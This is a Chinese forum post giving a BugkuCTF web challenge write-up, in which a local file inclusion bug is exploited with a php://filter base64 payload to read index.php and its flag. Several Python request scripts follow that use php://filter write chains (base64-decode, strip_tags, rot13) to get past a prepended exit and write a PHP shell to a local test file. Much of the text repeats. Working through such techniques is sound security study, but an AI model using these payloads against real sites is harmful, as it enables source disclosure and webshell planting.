首页
社区
课程
招聘
[原创]BugkuCTF-WEB-flag在index里(附php://filter的一些用法)
发表于: 2018-11-19 11:02 5619

[原创]BugkuCTF-WEB-flag在index里(附php://filter的一些用法)

2018-11-19 11:02
5619


这里的$content在开头增加了exit,使得我们即使可以成功写入一句话,也无法执行。 

我们通过php://filter巧妙绕过这里的限制 

1.对我们想要写入的一句话进行base64encode 

那么<?php exit ;?>这一部分在经过解码后,php不对其解析,而我们想要写入的一句话正好被成功解码。因此得以成功上传webshell

在解码的过程中,字符<、?、;、>、空格等一共有7个字符不符合base64编码的字符范围将被忽略,所以最终被解码的字符仅有“phpexit”和我们传入的其他字符。

“phpexit”一共7个字符,因为base64算法解码时是4个byte一组,所以给他增加1个“a”一共8个字符。这样,"phpexita"被正常解码,而后面我们传入的webshell的base64内容也被正常解码。结果就是<?php exit; ?>

php://filter之前最常出镜的地方是XXE。由于XXE漏洞的特殊性,我们在读取HTML、PHP等文件时可能会抛出此类错误parser error : StartTag: invalid element name。其原因是,PHP是基于标签的脚本语言,<?php ... ?>这个语法也与XML相符合,所以在解析XML的时候会被误认为是XML,而其中内容(比如特殊字符)又有可能和标准XML冲突,所以导致了出错。

那么,为了读取包含有敏感信息的PHP等源文件,我们就要先将“可能引发冲突的PHP代码”编码一遍,这里就会用到php://filter。

php://filter是PHP语言中特有的协议流,作用是作为一个“中间流”来处理其他流。比如,我们可以用如下一行代码将POST内容转换成base64编码并输出:

参考:https://www.leavesongs.com/PENETRATION/php-filter-magic.html

0X01
首先先打开题目看一下,发现有个点击按钮,尝试一下先


然后跳转到了这个网页,发现有提示,text5,file,show.php
先猜一下text5,好像没什么头绪;
file,题目已经说了flag藏在index.php里,估计需要通过一些函数或者其他漏洞读取index.php中的内容;
show.php意图就很明显了,需要我们把index.php中的内容show出来,这里注意,变量file直接读取了show.php,肯定暗藏玄机!
file=show.php
在此如果不是文件读取函数类型漏洞的话,那肯定是文件包含类型的漏洞了。
file=show.php
在此如果不是文件读取函数类型漏洞的话,那肯定是文件包含类型的漏洞了。
并且是通过变量file直接读取show.php中的内容,很大可能性是文件包含漏洞

直接尝试进行包含index.php文件,失败了,那估计需要直接将index.php中的代码全部显现出来才行


然后百度了一下文件包含漏洞,发现了一种伪协议的方法, 为了读取包含有敏感信息的PHP等源文件,我们就要先将“可能引发冲突的PHP代码”编码一遍,这里就会用到php://filter ,可以将php中的代码呈现出来,具体用法如下:
http://123.206.87.240:8005/post/index.php?file=php://filter/read=convert.base64-encode/resource=index.php

最后得到了base64编码的index.php中所有的代码,解码一下得到了以下代码,flag也得到了。
<html>
    <title>Bugku-ctf</title>
    
<?php
	error_reporting(0);
	if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
	$file=$_GET['file'];
	if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
		echo "Oh no!";
		exit();
	}
	include($file); 
//flag:flag{edulcni_elif_lacol_si_siht}
?>
</html>

<html>
    <title>Bugku-ctf</title>
    
<?php
	error_reporting(0);
	if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
	$file=$_GET['file'];
	if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
		echo "Oh no!";
		exit();
	}
	include($file); 
//flag:flag{edulcni_elif_lacol_si_siht}
?>
</html>



***************************************************************************************************************************************************************************************
由于是刚刚入门的小白,还不是很明白这种操作,继续研究了一下,官方文档链接如下
http://www.php.net/manual/zh/wrappers.php.php

这里摘抄一些跟本文有关的重点段落,下面是对于元封装器的介绍和应用

http://www.php.net/manual/zh/wrappers.php.php

这里摘抄一些跟本文有关的重点段落,下面是对于元封装器的介绍和应用






  • 对于转换过滤器的一些介绍
http://php.net/manual/zh/filters.convert.php 

http://php.net/manual/zh/filters.convert.php 


***************************************************************************************************************************************************************************************


可以用来获取藏在php代码中的flag或隐藏信息,一般是利用文件包含时所存在的漏洞,如此次做的题目
php://filter/read=convert.base64-encode/resource=index.php
<?php
$content = '<?php exit; ?>';
$content .= $_POST['txt'];
file_put_contents($_POST['filename'], $content);
?>

这里的$content在开头增加了exit,使得我们即使可以成功写入一句话,也无法执行。 

我们通过php://filter巧妙绕过这里的限制 

1.对我们想要写入的一句话进行base64encode 

<?php
$str1 = '<?php phpinfo ?>';
echo base64_encode($str1);
?>
PD9waHAgcGhwaW5mbyA/Pg==

2.php://filter/read=convert.base64-decode进行解码 
<?php
$str2 = '<?php exit ;?>';
echo base64_decode($str2);
?>
¦^Æ+

那么<?php exit ;?>这一部分在经过解码后,php不对其解析,而我们想要写入的一句话正好被成功解码。因此得以成功上传webshell


POST:
import requests

url = 'http://127.0.0.1/text.php'
d = {'txt': 'aPD9waHAgcGhwaW5mbygpOyA/Pg==', 'filename': 'php://filter/write=convert.base64-decode/resource=shell.php'}
r = requests.post(url, data=d)
print r.text


第一次尝试,写入失败,通过查看P牛的blog
***************************************************************************************************************************************************************************************

在解码的过程中,字符<、?、;、>、空格等一共有7个字符不符合base64编码的字符范围将被忽略,所以最终被解码的字符仅有“phpexit”和我们传入的其他字符。

“phpexit”一共7个字符,因为base64算法解码时是4个byte一组,所以给他增加1个“a”一共8个字符。这样,"phpexita"被正常解码,而后面我们传入的webshell的base64内容也被正常解码。结果就是<?php exit; ?>

***************************************************************************************************************************************************************************************
修改后


再次提交POST请求 ,shell写入成功!!



  • XXE中的使用

php://filter之前最常出镜的地方是XXE。由于XXE漏洞的特殊性,我们在读取HTML、PHP等文件时可能会抛出此类错误parser error : StartTag: invalid element name。其原因是,PHP是基于标签的脚本语言,<?php ... ?>这个语法也与XML相符合,所以在解析XML的时候会被误认为是XML,而其中内容(比如特殊字符)又有可能和标准XML冲突,所以导致了出错。

那么,为了读取包含有敏感信息的PHP等源文件,我们就要先将“可能引发冲突的PHP代码”编码一遍,这里就会用到php://filter。

php://filter是PHP语言中特有的协议流,作用是作为一个“中间流”来处理其他流。比如,我们可以用如下一行代码将POST内容转换成base64编码并输出:

readfile("php://filter/read=convert.base64-encode/resource=php://input")
  • 利用字符串操作方法(前提不开启短标签)
php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php
使用字符串操作方法就比上边直接使用base64解码简单多了,就不需要考虑base64解码的问题了
import requests

url = 'http://127.0.0.1/text.php'
d = {'txt': 'PD9waHAgcGhwaW5mbygpOyA/Pg==', 'filename': 'php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php'}
r = requests.post(url, data=d)
print r.text


成功
———————————————————————————————————————————————————————————————————————
php://filter/write=string.rot13/resource=shell.php
除此之外,我们还可以利用rot13编码独立完成任务。原理和上面类似,核心是将“死亡exit”去除。<?php exit; ?>在经过rot13编码后会变成<?cuc rkvg; ?>,在PHP不开启short_open_tag时,php不认识这个字符串,当然也就不会执行了 ,将<?php phpinfo();?>使用rot13进行编码得到<?cuc cucvasb(); ?>
<?php
echo str_rot13("phpinfo();");
echo "<br>";
echo str_rot13("cucvasb();");
?>
得到rot13编码


编写post脚本
import requests

url = 'http://127.0.0.1/text.php'
d = {'txt': '<?cuc cucvasb(); ?>', 'filename': 'php://filter/write=string.rot13/resource=shell.php'}
r = requests.post(url, data=d)
print r.text


成功~!


参考:https://www.leavesongs.com/PENETRATION/php-filter-magic.html

***附件是本文所用到的一些源码***






<?php
$content = '<?php exit; ?>';
$content .= $_POST['txt'];
file_put_contents($_POST['filename'], $content);
?>

<?php
$str1 = '<?php phpinfo ?>';
echo base64_encode($str1);
?>
PD9waHAgcGhwaW5mbyA/Pg==

PD9waHAgcGhwaW5mbyA/Pg==

2.php://filter/read=convert.base64-decode进行解码 
2.php://filter/read=convert.base64-decode进行解码 
<?php
$str2 = '<?php exit ;?>';
echo base64_decode($str2);
?>
¦^Æ+

<?php
$str2 = '<?php exit ;?>';
echo base64_decode($str2);
?>
¦^Æ+

¦^Æ+


POST:
import requests

url = 'http://127.0.0.1/text.php'
d = {'txt': 'aPD9waHAgcGhwaW5mbygpOyA/Pg==', 'filename': 'php://filter/write=convert.base64-decode/resource=shell.php'}
r = requests.post(url, data=d)
print r.text


第一次尝试,写入失败,通过查看P牛的blog
***************************************************************************************************************************************************************************************

在解码的过程中,字符<、?、;、>、空格等一共有7个字符不符合base64编码的字符范围将被忽略,所以最终被解码的字符仅有“phpexit”和我们传入的其他字符。

“phpexit”一共7个字符,因为base64算法解码时是4个byte一组,所以给他增加1个“a”一共8个字符。这样,"phpexita"被正常解码,而后面我们传入的webshell的base64内容也被正常解码。结果就是<?php exit; ?>

***************************************************************************************************************************************************************************************
修改后


再次提交POST请求 ,shell写入成功!!

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

最后于 2018-11-19 22:33 被Jaychouzzk编辑 ,原因: 把之前没弄明白的东西完善了一下
上传的附件:
收藏
免费 1
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//